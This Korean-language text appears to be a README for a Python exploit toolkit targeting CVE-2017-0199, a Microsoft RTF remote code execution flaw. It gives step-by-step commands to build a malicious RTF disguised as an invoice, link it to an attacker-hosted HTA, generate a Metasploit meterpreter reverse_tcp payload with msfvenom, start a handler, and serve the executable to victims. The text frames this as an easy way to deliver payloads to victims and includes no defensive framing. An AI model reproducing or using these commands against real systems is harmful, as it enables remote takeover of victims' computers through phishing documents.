CVE-2017-0199

Exploit 툴킷 CVE-2017-0199 - v2.0은 Microsoft RTF RCE를 빠르고 효과적으로 악용할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter 페이로드를 피해자에게 전달할 수 있습니다.

릴리스 노트:

스크립트에 다음 기능이 추가되었습니다.

• 툴킷을 사용하여 악성 RTF 파일 생성
• 작은 HTA + 웹 서버 형태의 악용 모드로 툴킷 실행 버전: Python 버전 2.7.13

예시:

단계 1: 다음 명령을 사용하여 악성 RTF 파일을 생성하고 피해자에게 전송합니다.

구문:

python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://attacker.com/test.hta

예시:

python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc

단계 2 (선택 사항, MSF 페이로드를 사용하는 경우): metasploit 페이로드를 생성하고 핸들러를 시작합니다.

예시:

페이로드 생성:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

핸들러 시작:

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.133.128; run"

단계 3: 페이로드를 전달하기 위해 툴킷을 악용 모드로 시작합니다.

구문:

python cve-2017-0199_toolkit.py -M exp -e http://attacker.com/shell.exe -l </tmp/shell.exe>

예시:

python cve-2017-0199_toolkit.py -M exp -e http://192.168.133.128/shell.exe -l /tmp/shell.exe